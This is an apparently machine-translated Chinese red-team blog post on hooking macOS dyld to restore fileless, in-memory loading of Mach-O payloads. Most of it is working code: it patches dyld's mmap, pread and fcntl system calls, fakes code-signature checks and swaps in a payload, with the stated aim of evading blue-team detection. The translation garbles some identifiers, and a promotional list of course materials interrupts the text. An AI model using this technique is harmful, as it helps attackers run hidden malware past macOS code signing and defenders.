我们一直在使用dyld提供的Mach-Obundle的内存加载方法及其NSCreateObjectFileImageFromMemory/NSLinkModuleAPI方法。虽然这些方法今天还在用,但是这个工具和过去有很大的不同……现在很多模块都持久化到硬盘了。@roguesys在2022年2月宣布更新了dyld代码,任何传递给NSLinkModule的模块都将被写入一个临时位置。作为红队,这对我们的渗透工作是不利的。毕竟NSLinkModule是一个非常好用的api函数,这个函数可以让我们的payload不容易被蓝队发现。所以在这篇文章中,我们将仔细研究dyld的变化,看看我们可以做些什么来恢复这个功能,让我们的工具在内存中保留更长的时间,并防止过早发现。NSLinkModule有何不同现在dyld是开源的,我们可以深入了解常用的NSLinkModule方法是如何工作的。这个函数的签名是:NSModuleAPIs::NSLinkModule(NSObjectFileImageofi,constchar*moduleName,uint32_toptions){...}这个函数的第一个参数是ofi,它是用NSCreateObjectFileImageFromMemory创建的,它指向存储Mach-O包内存。然后我们还有moduleName参数和options参数,前者只是用来记录语句,后者一般被忽略。通过查看代码,发现最新版本的NSLinkModule会将osi指向的内存写入磁盘。如果(ofi->memSource!=nullptr){...chartempFileName[PATH_MAX];constchar*tmpDir=this->libSystemHelpers->getenv("TMPDIR");if((tmpDir!=nullptr)&&(strlen(tmpDir)>2)){strlcpy(tempFileName,tmpDir,PATH_MAX);if(tmpDir[strlen(tmpDir)-1]!='/')strlcat(tempFileName,"/",PATH_MAX);}elsestrlcpy(tempFileName,"/tmp/",PATH_MAX);strlcat(tempFileName,"NSCreateObjectFileImageFromMemory-XXXXXXXX",PATH_MAX);intfd=this->libSystemHelpers->mkstemp(tempFileName);如果(fd!=-1){ssize_twrittenSize=::pwrite(fd,ofi->memSource,ofi->memLength,0);}...}通过分析可以发现代码并没有真正的“新”变化。这段代码一直存在于dyld3中,但现在macOS也决定使用这段代码路径。所以我们知道内存将被写入磁盘并且路径将传递给dlopen_from。...ofi->handle=dlopen_from(ofi->path,openMode,callerAddress);...所以,本质上,这使NSLinkModule成为dlopen的包装器。①网络安全学习成长路径思维导图②60+网络安全经典常用工具包③100+SRC漏洞分析报告④150+在线安全攻防实战技术电子书⑤最权威的CISSP认证考试指南+真题bank⑥1800多页的CTF实战技巧手册⑦网络安全公司最新面试题(含答案)合集⑧APP客户端安全测试指南(安卓+IOS)那能不能恢复dyld之前的内存加载功能呢?我们知道磁盘I/O用于持久化和读取我们的代码......那么,如果我们在调用之前拦截它们会怎样?Hookingwithdyld为了拦截I/O调用,我们首先需要了解如何hookdyld。让我们看看dyld是如何处理mmap调用的。启动Hopper并加载/usr/lib/dyld表明dyld使用svc调用了mmap。知道了这一点,如果我们找到这段代码在内存中的位置,我们应该能够覆盖服务调用并将其重定向到我们控制的某个地方。但是我们应该用什么来覆盖它呢?只需使用以下代码。ldrx8,_valuebrx8_value:.ascii"\x41\x42\x43\x44\x45\x46\x47\x48";更新到我们的br位置在我们继续之前,首先我们在进程地址空间中找到dyld的基地址。这是通过调用task_info来完成的,我们可以传入TASK_DYLD_INFO来检索dyld的基地址信息。void*getDyldBase(void){structtask_dyld_infodyld_info;mach_vm_address_timage_infos;structdyld_all_image_infos*infos;mach_msg_type_number_tcount=TASK_DYLD_INFO_COUNT;kern_return_tret;ret=task_info(mach_task_self_,TASK_DYLD_INFO,(task_info_t)&dyld_info,&count);if(ret!=KERN_SUCCESS){returnNULL;}image_infos=dyld_info.all_image_info_addr;infos=(structdyld_all_image_infos*)image_infos;returninfos->dyldImageLoadAddress;}一旦我们有了dyld的基地址,我们就可以查找mmap服务调用的签名。boolsearchAndPatch(char*base,char*signature,intlength,void*target){char*patchAddr=NULL;kern_return_tkret;for(inti=0;i<0x100000;i++){if(base[i]==signature[0]&&memcmp(base+i,signature,length)==0){patchAddr=base+i;break;}}...当我们找到匹配的签名时,我们可以将它放在我们的ARM64Stub中打补丁。由于我们正在处理内存的“Read-Exec”页面,因此我们需要按以下方式更新内存保护。kret=vm_protect(mach_task_self(),(vm_address_t)patchAddr,sizeof(patch),false,PROT_READ|PROT_WRITE|VM_PROT_COPY);if(kret!=KERN_SUCCESS){returnFALSE;}注意这里必须设置VM_PROT,因为内存页在其最大内存保护中没有设置写权限。设置写权限后,我们可以用我们的补丁覆盖内存,然后将保护重置为Read-Exec。//复制我们的pathmemcpy(patchAddr,patch,sizeof(patch));//为我们的钩子调用设置br地址*(void**)((char*)patchAddr+16)=target;//返回execpermissionkret=vm_protect(mach_task_self(),(vm_address_t)patchAddr,sizeof(patch),false,PROT_READ|PROT_EXEC);if(kret!=KERN_SUCCESS){returnFALSE;}现在我们需要考虑当我们试图修改可执行内存时什么页面时发生在M1mac上。由于macOS需要确保可执行内存的每一页都已签名,这意味着我们需要一个com.apple.security.cs.allow-unsigned-executable-memory权限(com.apple.security.cs.disable-executable-page-保护也适用)来运行我们的代码。那么,在这种情况下,我们如何处理我们的钩子程序呢?API模拟调用映射所有组件后,我们现在可以开始模拟API调用。根据dyld的代码,我们需要对mmap、pread、fcntl的内容进行处理。如果我们正确地做到这一点,我们可以调用NSLinkModule并使内存指向一个空的Mach-O文件,该文件将依次写入磁盘。然后,当dyld从磁盘读取文件时,我们可以动态地与内存中的副本交换内容。先研究mmap。我们首先检查fd是否指向包含NSCreateObjectFileImageFromMemory的文件名,这是dyld写入磁盘的临时文件。如果是这样的话,我们不需要从磁盘映射内存,而只需分配一个新的内存区域并复制我们构建的Mach-O包。#defineFILENAME_SEARCH"NSCreateObjectFileImageFromMemory-"constvoid*hookedMmap(void*addr,size_tlen,intprot,intflags,intfd,off_toffset){char*alloc;charfilePath[PATH_MAX];intnewFlags;memset(文件路径,0,sizeof(filePath));//检查文件是否是我们的“内存中”文件if(fcntl(fd,F_GETPATH,filePath)!=-1){if(strstr(filePath,FILENAME_SEARCH)>0){newFlags=私人地图|MAP_ANONYMOUS;if(addr!=0){newFlags|=MAP_FIXED;}alloc=mmap(addr,len,PROT_READ|PROT_WRITE,newFlags,0,0);memcpy(alloc,memoryLoadedFile+offset,len);vm_protect(mach_task_self(),(vm_address_t)alloc,len,false,prot);returnalloc;}}//如果是另一个文件,我们通过returnmmap(addr,len,prot,flags,fd,offset);}接下来是pread参数,dyld在加载时将使用该参数多次验证Mach-OUUID。ssize_thookedPread(intfd,void*buf,size_tnbyte,intoffset){charfilePath[PATH_MAX];memset(filePath,0,sizeof(filePath));//检查文件是否是我们的“内存中”fileif(fcntl(fd,F_GETPATH,filePath)!=-1){if(strstr(filePath,FILENAME_SEARCH)>0){memcpy(buf,memoryLoadedFile+offset,nbyte);returnnbyte;}}//如果是另一个文件,我们通过returnpread(fd,buf,nbyte,offset);最后我们处理fcntl。在任何可能失败的mmap调用之前,它会在许多地方被调用以验证编码要求。由于我们已经完成了挂钩,我们可以让dyld正常运行以绕过这些检查。inthookedFcntl(intfildes,intcmd,void*param){charfilePath[PATH_MAX];memset(filePath,0,sizeof(filePath));//检查文件是否是我们的“内存中”文件if(fcntl(fildes,F_GETPATH,filePath)!=-1){if(strstr(filePath,FILENAME_SEARCH)>0){if(cmd==F_ADDFILESIGS_RETURN){fsignatures_t*fsig=(fsignatures_t*)param;//调用以检查证书覆盖文件..所以我们将覆盖所有内容;)fsig->fs_file_start=0xFFFFFFFF;return0;}//dyldif(cmd==F_CHECK_LV)签名健全性检查{//就说一切都很好return0;}}}returnfcntl(fildes,cmd,param);}有了上面的内容,我们就可以将它们组合起来。intmain(intargc,constchar*argv[],constchar*argv2[],constchar*argv3[]){@autoreleasepool{char*dyldBase;intfd;intsize;void(*function)(void);NSObjectFileImagefileImage;//在我们的dyld中读取我们想要内存加载...显然在prod中将其与内存交换,否则我们只是重新创建了dlopen:/size=readFile("/tmp/loadme",&memoryLoadedFile);dyldBase=getDyldBase();searchAndPatch(dyldBase,mmapSig,sizeof(mmapSig),hookedMmap);searchAndPatch(dyldBase,preadSig,sizeof(preadSig),hookedPread);searchAndPatch(dyldBase,fcntlSig,sizeof(fcntlSig),hookedFcntl);//设置空白内容,与我们的Mach-Ochar*fakeImage=(char*)malloc(size);memset(fakeImage,0x41,size);//绕过NSCreateObjectFileImageFromMemory验证我们的假imagefileImage=(NSObjectFileImage)malloc(1024)的小技巧);*(void**)(((char*)fileImage+0x8))=fakeImage;*(void**)(((char*)fileImage+0x10))=size;void*module=NSLinkModule(fileImage,"test",NSLINKMODULE_OPTION_PRIVATE);void*symbol=NSLookupSymbolInModule(module,"runme");function=NSAddressOfSymbol(symbol);function();}}我们执行的时候可以看到会在硬盘上创建磁盘假文件,但通过查看运行时的交换内容,我们发现我们的内存模块加载得非常好。其他所以,最后阶段让我感到困惑......我们使用NSLinkModule,它生成一个临时文件,并用垃圾字符填充它。如果我们忽略它并使用操作系统中的任意库调用dlopen会怎样?这应该会阻止我们将任何文件写入磁盘。事实证明,这个想法是正确的。比如:void*a=dlopen("/usr/lib/libffi-trampolines.dylib",RTLD_NOW);function=dlsym(a,"runme");功能();我们不只是搜索NSCreateObjectFileImageFromMemory,而是搜索任何加载对libffi-trampolines.dylib的引用并通过我们的代码替换它,我们得到相同的结果。这里有一些注意事项。首先,我们需要确保库比我们自己加载的模块大,否则当涉及到pread和mmap时,系统最终会截断我们的Mach-O。
